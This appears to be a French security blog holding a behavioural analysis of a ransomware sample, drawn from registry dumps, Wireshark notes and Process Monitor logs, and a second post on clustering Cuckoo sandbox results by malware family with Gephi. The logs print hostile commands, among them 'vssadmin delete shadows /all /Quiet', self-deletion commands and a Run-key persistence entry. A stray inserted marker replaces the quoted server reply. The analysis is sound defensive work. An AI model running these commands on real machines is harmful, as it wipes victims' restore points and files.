HKU\S-1-5-21-1993962763-764733703-1957994488-1004\Software\4D5492355C95A030\data: 31 59 58 6D 74 39 46 65 54 45 75 74 37 69 57 39 61 42 4D 77 74 38 64 75 6B 32 62 4D 37 4D 41 37 71 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 EF 5C 38 BB E8 9A EF 63 CA 64 72 B5 41 07 E6 91 9B 99 F5 5F C7 DF BF B6 AB 5F 88 19 73 97 99 FB 01 56 5E 23 76 6B D7 8E E6 74 46 98 72 BE 00 3D 64 80 BA DC 34 BA 11 9B 85 DB A9 55 D0 05 52 87 00 00 32 31 38 30 39 41 37 35 43 35 32 35 41 43 33 42 44 35 39 39 35 44 35 35 30 34 46 33 31 31 37 32 38 33 35 42 31 33 36 38 31 36 32 35 33 43 30 35 38 45 32 37 35 41 39 34 36 38 42 39 46 41 36 44 36 36 30 46 33 36 38 41 31 32 46 34 36 44 34 45 45 46 38 41 38 45 37 36 44 35 46 44 35 41 41 38 41 46 38 38 39 34 42 30 36 39 43 33 39 32 33 45 41 33 39 38 34 31 34 42 36 43 42 39 31 42 33 30 00 00 00 00 04 DB F1 93 E1 81 AA 71 67 97 C5 C5 FA 1F B5 3D 6C 21 ED 18 5B AD 61 23 EE B7 33 9D 9C D8 DF 21 7B 25 5D 69 97 71 23 3C 9E 83 13 DB 78 85 8E 96 7E 27 5C D5 47 26 90 E1 76 45 2E
66 8D BA F6 14 21 00 00 00 00 00 00 00 00 1C 3D 73 56 00 00 00 00
HKU\S-1-5-21-1993962763-764733703-1957994488-1004\Software\zsys\ID: 4D 54 92 35 5C 95 A0 30[/code]

Réseau

Wireshark va nous permettre de voir ce qui circule sur le réseau.

Le malware va résoudre et contacter [i]myexternalip.com[/i] pour connaitre notre adresse IP.

Puis il va résoudre et contacter un site (ou plusieurs si nécessaire), ce sont des sites WordPress piratés sur lesquels le pirate a placé un fichier php lui appartenant. Le malware les appels avec une première variable. Le script php répond alors :

---!!!INSERTED!!!---

.
Il rappel ensuite le même site après le processus de chiffrement avec une nouvelle variable, le script PHP répond la même chose.

Les variables sont totalement différentes, y compris si on multiplie les exécutions, seule une en-tête commune à toutes les secondes communications (après chiffrement) existe.

On peut quand même en déduire que si paires de clés RSA il y a, elles n’ont pas été générées coté serveur. Or l’intérêt est de garder une partie secrète sur le serveur, ici soit elle transite en clair via le réseau, soit elle est stockée en local, soit il n’y a pas de chiffrement avec RSA. On sait de même que la clé utilisée est à priori unique (header commun).

Système

Process Monitor permet de visualiser les actions effectuées par les processus.

[code]23:54:18,8152357 73.exe 8844 IRP_MJ_CREATE C:\Documents and Settings\%username%\Application Data\qjgemacroic.exe SUCCESS Desired Access: Generic Write, Read Attributes, Delete, Disposition: OverwriteIf, Options: Sequential Access, Synchronous IO Non-Alert, Non-Directory File, Attributes: A, ShareMode: None, AllocationSize: 0, OpenResult: Created
23:54:18,8883688 73.exe 8844 Process Create C:\Documents and Settings\%username%\Application Data\qjgemacroic.exe SUCCESS PID: 9000, Command line: “C:\Documents and Settings\%username%\Application Data\qjgemacroic.exe”[/code]

73.exe crée un fichier qjgemacroic.exe qui est une copie de lui-même.

[code]23:54:20,0017606 73.exe 8844 Process Create C:\WINDOWS\system32\cmd.exe SUCCESS PID: 8756, Command line: “C:\WINDOWS\system32\cmd.exe” /c DEL C:\DOCUME~1\%username%\Bureau\73.exe[/code]

73.exe s’auto-supprime et qjgemacroic.exe prend le relai.

[code]23:54:20,3724817 qjgemacroic.exe 9000 RegCreateKey HKCU\Software\zsys\ SUCCESS Desired Access: Read/Write

23:54:20,5873677 qjgemacroic.exe 9000 RegSetValue HKCU\Software\4D5492355C95A030\data SUCCESS Type: REG_BINARY, Length: 328, Data: 31 59 58 6D 74 39 46 65 54 45 75 74 37 69 57 39

23:54:20,6213765 qjgemacroic.exe 9000 RegSetValue HKCU\Software\Microsoft\Windows\CurrentVersion\Run\santa_svc SUCCESS Type: REG_SZ, Length: 154, Data: C:\Documents and Settings\%username%\Application Data\qjgemacroic.exe[/code]

Il crée les clés de registre citées plus tôt.

[code]23:54:20,9402170 qjgemacroic.exe 9000 Process Create C:\WINDOWS\system32\vssadmin.exe SUCCESS PID: 9160, Command line: “C:\WINDOWS\system32\vssadmin.exe” delete shadows /all /Quiet [/code]

Il supprime les VSS. Adieu points de restauration et versions précédentes des fichiers.

[code]23:54:21,0972579 qjgemacroic.exe 9000 IRP_MJ_CREATE C:\Documents and Settings\%username%\Mes documents\recover_file_gdwasfaxi.txt SUCCESS Desired Access: Generic Read/Write, Disposition: OverwriteIf, Options: Synchronous IO Non-Alert, Non-Directory File, Attributes: N, ShareMode: None, AllocationSize: 0, OpenResult: Created[/code]

Il crée un fichier un peu spécial :

[code]1YXmt9FeTEut7iW9aBMwt8duk2bM7MA7q
EF5C38BBE89AEF63CA6472B54107E6919B99F55FC7DFBFB6AB5F8819739799FB
21809A75C525AC3BD5995D5504F31172835B136816253C058E275A9468B9FA6D
660F368A12F46D4EEF8A8E76D5FD5AA8AF8894B069C3923EA398414B6CB91B30
4D5492355C95A030
73[/code]

On y voit notre ID, des choses qu’on retrouve dans les entêtes aussi.

[code]23:54:21,3637842 qjgemacroic.exe 9000 IRP_MJ_DIRECTORY_CONTROL C:\* SUCCESS Type: QueryDirectory, Filter: *, 2: AdwCleaner
23:54:21,3725150 qjgemacroic.exe 9000 IRP_MJ_DIRECTORY_CONTROL C:\AdwCleaner\* SUCCESS Type: QueryDirectory, Filter: *, 2: .
23:54:21,3902225 qjgemacroic.exe 9000 IRP_MJ_DIRECTORY_CONTROL C:\AdwCleaner SUCCESS Type: QueryDirectory, 1: .., 2: AdwCleaner[R5].txt, 3: AdwCleaner[R6].txt, 4: Quarantine
23:54:21,3923379 qjgemacroic.exe 9000 FASTIO_WRITE C:\AdwCleaner\AdwCleaner[R5].txt SUCCESS Offset: 0, Length: 394
23:54:21,3923803 qjgemacroic.exe 9000 FASTIO_WRITE C:\AdwCleaner\AdwCleaner[R5].txt SUCCESS Offset: 394, Length: 20
23:54:21,3923912 qjgemacroic.exe 9000 FASTIO_WRITE C:\AdwCleaner\AdwCleaner[R5].txt SUCCESS Offset: 414, Length: 992
23:54:21,5671137 qjgemacroic.exe 9000 IRP_MJ_SET_INFORMATION C:\AdwCleaner\AdwCleaner[R5].txt SUCCESS Type: SetRenameInformationFile, ReplaceIfExists: False, FileName: C:\AdwCleaner\AdwCleaner[R5].txt.vvv
[/code]

On va parcourir tout le disque à partir de la racine, dossier par dossier, puis fichier par fichier, quand une extension correspond, le malware réécrit complètement le fichier (on voit qu’il est plus grand à la fin) puis le renomme avec un .vvv.

[code]23:54:21,5715319 qjgemacroic.exe 9000 IRP_MJ_WRITE C:\AdwCleaner\Quarantine\how_recover+hfv.txt SUCCESS Offset: 0, Length: 2 560
23:54:21,5717844 qjgemacroic.exe 9000 IRP_MJ_WRITE C:\AdwCleaner\Quarantine\how_recover+hfv.html SUCCESS Offset: 0, Length: 10 654
[/code]

Il place également un [i]how_recover+hfv.txt[/i] et [i]how_recover+hfv.html[/i] dans tous les dossiers (même si il n’y a rien de chiffré dedans). Tous y passe sauf le dossier Windows.

[code]23:57:06,4031183 qjgemacroic.exe 9000 Process Create C:\WINDOWS\system32\NOTEPAD.EXE SUCCESS PID: 9736, Command line: “C:\WINDOWS\system32\NOTEPAD.EXE” C:\Documents and Settings\%username%\Bureau\Howto_Restore_FILES.TXT[/code]

Affichage des instructions sur notepad.

[code]23:57:06,4697720 qjgemacroic.exe 9000 Process Create C:\Program Files\Mozilla Firefox\firefox.exe SUCCESS PID: 9096, Command line: “C:\Program Files\Mozilla Firefox\firefox.exe” -osint -url “C:\Documents and Settings\%username%\Bureau\Howto_Restore_FILES.HTM”
[/code]

Affichage des instructions sur le navigateur.

[code]23:57:06,9842435 qjgemacroic.exe 9000 Process Create C:\WINDOWS\system32\rundll32.exe SUCCESS PID: 9936, Command line: “rundll32.exe” C:\WINDOWS\system32\shimgvw.dll,ImageView_Fullscreen C:\Documents and Settings\%username%\Bureau\Howto_Restore_FILES.BMP[/code]

Affichage de l’image.

[code]23:57:08,7694981 qjgemacroic.exe 9000 Process Create C:\WINDOWS\system32\cmd.exe SUCCESS PID: 10136, Command line: “C:\WINDOWS\system32\cmd.exe” /c DEL C:\DOCUME~1\%username%\APPLIC~1\QJGEMA~1.EXE[/code]

Une fois le processus de chiffrement terminé le fichier s’auto-détruit.


Il serait intéressant de se pencher plus en détail sur le processus de chiffrement, j’ai de sérieux doutes sur la robustesse des mécanismes mis en œuvre par ce malware.

On voit qu’à la fin le malware n’est plus actif, en désinfection il faudrait virer les clés laissés par l’infection, voir retirer les fichiers “howto” et les fichiers chiffrés (ce qui retire toute chance de pouvoir les déchiffrer dans un moment futur).

Pour tous commentaires ça se passe par ici : https://forum.security-x.fr/blog-sx/

Cuckoo – Traiter le résultat avec Gephi 3

Cet article fait suite à celui-ci.
Désormais, on va dissocier les malwares par familles et identifier les comportements qui sont liés.


Adware

adware

PDF : Adware.pdf

Ransomware

ransomware

PDF : Ransomware.pdf

Regardons aussi comment ces malwares se lancent.

ransomware lancement

PDF : Ransomware_lancement.pdf

Il est intéressant de voir que le mode de lancement utilisé par les ransomwares est séparé en deux parties (clusters). Donc par exemple si un de ces programmes crée une clé Run, il y a de fortes chances qu’il ait aussi créé une clé Session Manager.

Scareware

scareware

PDF : Scareware.pdf

scareware lancement

PDF : scareware_lancement.pdf

Vers

vers

PDF : Vers.pdf

vers lancement

PDF : Vers_lancement.pdf


D’autres familles de malwares existent mais on va pas toutes les traiter. On peut aussi regarder quelques infections particulières.

TDSS / ZeroAccess

Dans cette partie on souhaite voir ce que TDSS et ZA ont en commun.

TDSS_ZA

PDF : TDSS_ZAgraph.pdf

On voit que bien qu’ils aient chacun leurs spécificités, ils partagent un certain nombre de comportements.

SpyEyes

spyeyes

PDF : Spyeyes.pdf

Sur cette image, nous voyons que le malware effectue peu d’actions, dans la plupart des cas il n’essaye pas de se lancer au démarrage par exemple. Cela nous laisse supposer que l’exécution ne s’est pas bien passée (le malware a peut-être détecté qu’il était dans une machine virtuelle) ou que la base comportementale n’est pas assez complète.

Zeus

zeus

PDF : Zeus.pdf

zeus lancement

PDF : Zeus_lancement.pdf

Ces graphiques nous montrent que même si ces infections appartiennent à la même famille, il y a de grandes différences de comportement entre les variantes.

Qbot

qbot

PDF : Qbot.pdf

Les comportements forment 3 clusters, on sait donc qu’il y a d’autres “grandes sous-familles” de Qbot qui ont chacune leurs comportements spécifiques.


Ce dernier article conclut l’utilisation de Gephi.

Pour toutes questions ou commentaires, vous pouvez aller sur le forum. ici.